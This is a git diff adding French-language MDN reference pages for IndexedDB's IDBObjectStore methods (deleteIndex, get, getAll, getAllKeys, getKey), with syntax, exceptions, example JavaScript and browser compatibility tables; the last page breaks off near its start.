+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>L'exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">notifications de trucs à faire</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">voir la démonstration</a>)</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/deleteindex/index.html b/files/fr/web/api/idbobjectstore/deleteindex/index.html
new file mode 100644
index 0000000000..b0ff264b07
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/deleteindex/index.html
@@ -0,0 +1,197 @@
+---
+title: IDBObjectStore.deleteIndex()
+slug: Web/API/IDBObjectStore/deleteIndex
+translation_of: Web/API/IDBObjectStore/deleteIndex
+---
+<p>{{ APIRef("IndexedDB") }}</p>
+
+<p>La méthode <strong><code>deleteIndex()</code></strong> de l'interface {{domxref("IDBObjectStore")}} supprime l'index dont le nom est passé en paramètre, du magasin d'objet relié ({{domxref("IDBObjectStore")}}).</p>
+
+<div class="note">
+<p><strong>Note</strong>: Cette méthode ne peut être appelée que si la transaction ({{domxref("IDBTransaction")}}) de l'accès ({{domxref("IDBObjectStore")}}) au magasin d'objet est en mode ({{domxref("IDBTransaction.mode")}}) <strong><a href="/fr/docs/Web/API/IDBTransaction/mode#versionchange">versionchange</a></strong>. Les propriétés<strong> indexNames ({{domxref("IDBObjectStore.indexNames")}}) </strong>des accès au magasin d'object seront aussi mises à jour.</p>
+</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">objectStore.deleteIndex(nomIndex);</pre>
+
+<h3 id="Paramètre">Paramètre</h3>
+
+<dl>
+ <dt>nomIndex</dt>
+ <dd>Le nom de l'index à supprimer.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Void.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>Cette exception ({{domxref("DOMException")}}) est levée si la transaction ({{domxref("IDBTransaction")}}) dont dépend cet accès ({{domxref("IDBObjectStore")}}) au magasin d'objet n'est pas en mode ({{domxref("IDBTransaction.mode")}}) <a href="/fr/docs/Web/API/IDBTransaction/mode#versionchange"><code>versionchange</code></a>.</dd>
+ <dt><code>TransactionInactiveError</code></dt>
+ <dd>Cette exception ({{domxref("DOMException")}}) est levée si la transaction ({{domxref("IDBTransaction")}}) de l'accès ({{domxref("IDBObjectStore")}}) au magasin d’objet est inactive.
+ <p class="note">Dans les versions de Firefox antérieur à 41, une <code>InvalidStateError</code> est levée dans ce cas aussi, ce qui est trompeur. Cela a été corrigé (voir <a class="external external-icon" href="https://bugzilla.mozilla.org/show_bug.cgi?id=1176165" title="FIXED: Fix error codes for {create,delete}{ObjectStore,Index}">bug 1176165</a>).</p>
+ </dd>
+ <dt><code>NotFoundError</code></dt>
+ <dd>Cette exception ({{domxref("DOMException")}}) est levée si l'index avec le nom (case sensible) demandé n'existe pas sur le magasin d'objet.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans l'exemple suivant on peut voir le gestionnaire d'événement {{domxref("IDBOpenDBRequest.onupgradeneeded","<code>onupgradeneeded</code>")}} être utilisé pour mettre à jour la structure de la base de données quand un numéro de version supérieure est chargé.</p>
+
+<p>Des méthode <strong><code>deleteIndex()</code></strong> sont utilisées pour supprimer d'anciens index du magasin d'objet <code>toDoList</code>.</p>
+
+<pre class="brush: js">var db;
+
+// Requête d'ouverture de la base de données "toDoList"
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+// Gère  l'échec de l'ouverture de la base
+DBOpenRequest.onerror = function(event) {
+  note.innerHTML += '&lt;li&gt;La base de donnée n\'as pas peut être ouverte.&lt;/li&gt;';
+};
+
+// Gère le succès de l'ouverture de la base
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;La base de données est ouverte.&lt;/li&gt;';
+
+  //
+  db = request.result;
+
+  // Exécute une fonction d'affichage displayData()
+  displayData();
+};
+
+// Ce gestionnaire d'événement nécessite  un nouveau numéro de version de la base de données.
+// Si la base n'existe pas un nouveau numéro de version est généré par la méthode d'ouverture de connexion window.indexDB.open .
+
+DBOpenRequest.onupgradeneeded = function(event) {
+
+  db.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;Erreur de chargement de la base de données.&lt;/li&gt;';
+  };
+
+  // L'Accès au magasin d'objet "toDoList" de la base de données
+  var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
+
+  // Met en place les index du magasin d'objet
+  objectStore.createIndex("heures", "hours", { unique: false });
+  objectStore.createIndex("minutes", "minutes", { unique: false });
+  objectStore.createIndex("jour", "day", { unique: false });
+  objectStore.createIndex("mois", "month", { unique: false });
+  objectStore.createIndex("annee", "year", { unique: false });
+  objectStore.createIndex("notifiee", "notified", { unique: false });
+
+  //supprime des index du magasin d'objet
+  objectStore.deleteIndex("secondes");
+  objectStore.deleteIndex("contact");
+};
+</pre>
+
+<p class="note">Pour un exemple de travail complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> app (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>).</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBObjectStore-deleteIndex-void-DOMString-indexName', 'deleteIndex()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("IndexedDB_API.Using_IndexedDB","Utiliser IndexedDB")}}</li>
+ <li>{{domxref("IDBDatabase","Débuter une connexion")}}</li>
+ <li>{{domxref("IDBTransaction","Utilisé les transactions")}}</li>
+ <li>{{domxref("IDBKeyRange","Définir l'intervalle des clés")}}</li>
+ <li>{{domxref("IDBObjectStore","Accès aux magasins d'objets")}}</li>
+ <li>{{domxref("IDBCursor","Utiliser les curseur")}}</li>
+ <li>Exemple de référence: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/get/index.html b/files/fr/web/api/idbobjectstore/get/index.html
new file mode 100644
index 0000000000..8852a504d4
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/get/index.html
@@ -0,0 +1,195 @@
+---
+title: IDBObjectStore.get()
+slug: Web/API/IDBObjectStore/get
+translation_of: Web/API/IDBObjectStore/get
+---
+<p>{{ APIRef("IndexedDB") }}</p>
+
+<div>
+<p>La méthode <strong><code>get()</code></strong> de l'interface {{domxref("IDBObjectStore")}} fait une {{domxref("IDBRequest","requête")}} pour renvoyer la valeur d'un enregistrement du magasin d'objet {{domxref("IDBObjectStore","relié")}}.</p>
+</div>
+
+<p>{{Note("Si plusieurs enregistrements peuvent être sélectionnés la valeur du premier enregistrement rencontré (dont la valeur n'est pas <code>undefined</code>) sera renvoyée.")}} {{Note("On ne peut pas savoir s'il y a correspondance mais que l(es) enregistrement(s) a/ont des valeurs non définie (<code>undefined</code>) ou s'ils n'y as pas de correspondance par cette méthode. On peut utulisé la methode getAllKeys pour retrouvé la ou les clés du ou des enregistrements qui n'ont pas de valeur défini (valeur = <code>undefined</code>).")}}</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var request = objectStore.get(cle);</pre>
+
+<h2 id="Paramètre">Paramètre</h2>
+
+<dl>
+ <dt><code>cle</code></dt>
+ <dd>la clé ou l'{{domxref("IDBKeyRange","intervalle de clé")}} de l'enregistrement dont on cherche la valeur.</dd>
+</dl>
+
+<h2 id="Renvoie">Renvoie</h2>
+
+<dl>
+ <dt>Une {{domxref("IDBRequest","requête")}}</dt>
+ <dd>La propriété {{domxref("IDBRequest.result","result")}} de cette requête renvoie en cas de succès,  un clone structuré de la valeur de l'enregistrement correspondant à la clé ou du premier correspondant à l'intervalle de clé.</dd>
+</dl>
+
+<h2 id="Exceptions">Exceptions</h2>
+
+<dl>
+ <dt><code>TransactionInactiveError</code></dt>
+ <dd>Cette {{domxref("DOMException","exception")}} est levé si la {{domxref("IDBTransaction","transaction")}} dont dépend cet {{domxref("IDBObjectStore","accès")}} au magasin d'objet est inactive.</dd>
+ <dt><code>DataError</code></dt>
+ <dd>Cette {{domxref("DOMException","exception")}} est levé si la clé ou l'{{domxref("IDBKeyRange","intervalle de clé")}} est invalide.</dd>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>Cette {{domxref("DOMException","exception")}} est levé si le magasin d'objet à été supprimé.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans le code suivant , on ouvre une {{domxref("IDBTransaction","transaction")}} sur la {{domxref("IDBDatabase","connexion")}} à la base de données, pour avoir l'{{domxref("IDBObjectStore","accès")}} au magasin d'objet dans lequel on veut retrouver la valeur d'un enregistrement.</p>
+
+<p>La méthode <strong><code>get() </code></strong>sert à retrouver la valeur de l'enregistrement dont la clé est <code><em>Walk dog</em></code> dans magasin d'objets <em><code>toDoList</code></em></p>
+
+<pre class="brush: js">// ouvre la connexion à la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+// Gère l'ouverture de la connexion
+DBOpenRequest.onsuccess = function() {
+  note.innerHTML += '&lt;li&gt;Database initialised.&lt;/li&gt;';
+
+  // enregistre la connexion dans la variable db
+  db = DBOpenRequest.result;
+
+  // exécute la fonction deleteData()
+  deleteData();
+};
+
+function deleteData() {
+  // ouvre un transaction en mode lecture/écriture pour effectuer la suppression
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // affiche le succès de la transaction.
+  transaction.oncomplete = function() {
+    note.innerHTML += '&lt;li&gt;Transaction effectuée: fin de la modification de la base de données.&lt;/li&gt;';
+  };
+
+  // affiche la cause de l’échec de la transaction.
+  transaction.onerror = function() {
+    note.innerHTML += '&lt;li&gt;Échec de la transaction: ' + transaction.error + ' la base de données n\'a pas été modifié&lt;/li&gt;';
+  };
+
+  // ouvre un accès au magasin d'objet toDoList
+  var objectStore = transaction.objectStore("toDoList");
+
+  // Retrouve l'enregistrement dont la clé est Walk dog
+   var objectStoreRequest = objectStore.get("Walk dog");
+
+  objectStoreRequest.onsuccess = function() {
+    //Affiche le succès de la requête
+    note.innerHTML += '&lt;li&gt;Enregistrement retrouvé.&lt;/li&gt;';
+
+    //affecte la valeur de l'enregistrement à la variable
+    var myRecord = objectStoreRequest.result;
+  };
+};
+</pre>
+
+<p class="note">Pour un exemple de travail complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> app (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBObjectStore-get-IDBRequest-any-key', 'get()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("IndexedDB_API.Using_IndexedDB","Utiliser IndexedDB")}}</li>
+ <li>{{domxref("IDBDatabase","Débuter une connexion")}}</li>
+ <li>{{domxref("IDBTransaction","Utilisé les transactions")}}</li>
+ <li>{{domxref("IDBKeyRange","Définir l'intervalle des clés")}}</li>
+ <li>{{domxref("IDBObjectStore","Accès aux magasins d'objets")}}</li>
+ <li>{{domxref("IDBCursor","Utiliser les curseur")}}</li>
+ <li>Exemple de référence: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/getall/index.html b/files/fr/web/api/idbobjectstore/getall/index.html
new file mode 100644
index 0000000000..714ca578d7
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/getall/index.html
@@ -0,0 +1,128 @@
+---
+title: IDBObjectStore.getAll()
+slug: Web/API/IDBObjectStore/getAll
+translation_of: Web/API/IDBObjectStore/getAll
+---
+<p>{{ APIRef("IndexedDB") }}</p>
+
+<p>La méthode <strong><code>getAll()</code></strong> de l'interface {{domxref("IDBObjectStore")}} fait une {{domxref("IDBRequest","requête")}} qui renvoie un tableau ordonné suivant les clés, des valeurs de tous les enregistrements du magasin d'objet {{domxref("IDBObjectStore","relié")}}. On peut limité le nombre d'enregistrements en les filtrants suivant leurs clés ou en paramétrant le compteur.</p>
+
+<p>{{ Note("Cette méthode renverras un tableau vide si aucun enregistrement ne correspond. Si la valeur est undefined elle prendra une case du tableau.") }}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var request = objectStore.getAll(query, count);</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt>query {{optional_inline}}</dt>
+ <dd>Une clé ou l'{{domxref("IDBKeyRange","intervalle de clé")}} <strong>pour filtrer</strong>, seule les valeurs des enregistrements correspondant sont renvoyées. Par défaut toutes les valeurs des enregistrements du magasin d'objet sont renvoyées.</dd>
+ <dt>count {{optional_inline}}</dt>
+ <dd>Le nombre de valeurs d'enregistrement <strong>maximum renvoyées</strong>. Un nombre décimal sera tronqué. Zéro annule le compteur et toutes les valeurs sont retournées.</dd>
+</dl>
+
+<h2 id="Renvoie">Renvoie</h2>
+
+<dl>
+ <dt>Une {{domxref("IDBRequest","requête")}}</dt>
+ <dd>La propriété {{domxref("IDBRequest.result","result")}} de cette requête renvoie le tableau des valeurs des enregistrements en cas de succès.</dd>
+</dl>
+
+<h2 id="Exceptions">Exceptions</h2>
+
+<dl>
+ <dt><code>TransactionInactiveError</code></dt>
+ <dd>Cette {{domxref("DOMException","exception")}} est levée si la {{domxref("IDBTransaction","transaction")}} est inactive.</dd>
+ <dt><code>DataError</code></dt>
+ <dd>Cette {{domxref("DOMException","exception")}} est levée si la clé où l'{{domxref("IDBKeyRange","intervalle de clé")}} est invalide.</dd>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>Cette {{domxref("DOMException","exception")}} est levée si le magasin d'objets a été supprimé.</dd>
+ <dt><code>TypeError</code></dt>
+ <dd>Cette {{domxref("DOMException","exception")}} est levée si le compteur n'est pas un nombre positif.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB2', '#dom-idbobjectstore-getall', 'getAll()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(48.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(48.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(48.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("IndexedDB_API.Using_IndexedDB","Utiliser IndexedDB")}}</li>
+ <li>{{domxref("IDBDatabase","Débuter une connexion")}}</li>
+ <li>{{domxref("IDBTransaction","Utiliser les transactions")}}</li>
+ <li>{{domxref("IDBKeyRange","Définir l'intervalle des clés")}}</li>
+ <li>{{domxref("IDBObjectStore","Accès aux magasins d'objets")}}</li>
+ <li>{{domxref("IDBCursor","Utiliser les curseurs")}}</li>
+ <li>Exemple de référence: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/getallkeys/index.html b/files/fr/web/api/idbobjectstore/getallkeys/index.html
new file mode 100644
index 0000000000..56a70e3e68
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/getallkeys/index.html
@@ -0,0 +1,176 @@
+---
+title: IDBObjectStore.getAllKeys()
+slug: Web/API/IDBObjectStore/getAllKeys
+tags:
+  - API
+  - IDBObjectStore
+  - IndexedDB
+  - Méthode
+  - Référence(2)
+translation_of: Web/API/IDBObjectStore/getAllKeys
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>getAllKeys()</code></strong>, rattachée à l'interface {{domxref("IDBObjectStore")}}, renvoie un objet  {{domxref("IDBRequest")}} qui permet de récupérer l'ensemble des clés pour les objets qui correspondent au critère passé en argument (ou les clés de tous les objets du magasin si aucun paramètre n'est fourni).</p>
+
+<p>Si une valeur est trouvée, un clone structurelle sera créé et fourni comme résultat pour la requête.</p>
+
+<p>Cette méthode produira le même résultat pour :</p>
+
+<ul>
+ <li>un enregistrement qui n'existe pas dans la base de données</li>
+ <li>un enregistrement qui possède une valeur indéfinie</li>
+</ul>
+
+<p>Pour différencier ces deux situations, on peut appeler la méthode {{domxref("IDBObjectStore.openCursor","openCursor()")}} avec la même clé. Cette méthode fournit un curseur si l'enregistrement existe et ne fournit aucun curseur s'il n'y a pas d'enregistrement.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var request = <em>objectStore</em>.getAllKeys();
+var request = <em>objectStore</em>.getAllKeys(<em>query</em>);
+var request = <em>objectStore</em>.getAllKeys(<em>query</em>, <em>count</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>query</code> {{optional_inline}}</dt>
+ <dd>Une valeur qui est (ou se résoud) en un intervalle de clés ({{domxref("IDBKeyRange")}}).</dd>
+ <dt><code>count</code> {{optional_inline}}</dt>
+ <dd>Une valeur qui définit le nombre de valeurs à renvoyer si plusieurs correspondent. Cette valeur doit être supérieure à  <code>0</code> ou inférieure <code>à 2<sup>32</sup>-1</code>, sinon une exception {{jsxref("TypeError")}} sera levée.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{domxref("IDBRequest")}} pour lequel seront déclenchés les différents évènements relatifs à l'opération.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut déclencher une exception {{domxref("DOMException")}} ayant le type suivant :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TransactionInactiveError</code></td>
+   <td>Le magasin d'objets ({{domxref("IDBObjectStore")}}) associé à la transaction est inactif.</td>
+  </tr>
+  <tr>
+   <td><code>DataError</code></td>
+   <td>
+    <p>La clé ou l'intervalle de clé fourni contient une clé invalide ou est nul.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>Le magasin d'objets ({{domxref("IDBObjectStore")}}) a été supprimé ou retiré.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB 2', '#dom-idbobjectstore-getallkeys', 'getAll()')}}</td>
+   <td>{{Spec2('IndexedDB w')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatChrome(48.0)}}</td>
+   <td>{{CompatGeckoDesktop(44)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(35)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatChrome(48.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(35)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(48.0)}}</td>
+   <td>{{CompatGeckoMobile(44)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(35)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(48.0)}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(48.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(35)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(48.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Cette fonctionnalité était disponible depuis Firefox 27 via la préférence <code>dom.indexedDB.experimental</code>, qui était désactivée par défaut.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/getkey/index.html b/files/fr/web/api/idbobjectstore/getkey/index.html
new file mode 100644
index 0000000000..9e56d3b408
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/getkey/index.html
@@ -0,0 +1,174 @@
+---
+title: IDBObjectStore.getKey()
+slug: Web/API/IDBObjectStore/getKey
+translation_of: Web/API/IDBObjectStore/getKey
+---
+<p>{{ APIRef("IndexedDB") }}</p>
+
+<div>
+<p>La méthode <strong><code>getKey()</code></strong> de l'interface {{domxref("IDBObjectStore")}} retourne un objet {{domxref("IDBRequest")}}, et, dans un <em>thread</em> séparé, retourne la clé sélectionnée par la requête spécifiée. Cela permet de retrouver un enregistrement spécifique depuis un espace de stockage déterminé.</p>
+</div>
+
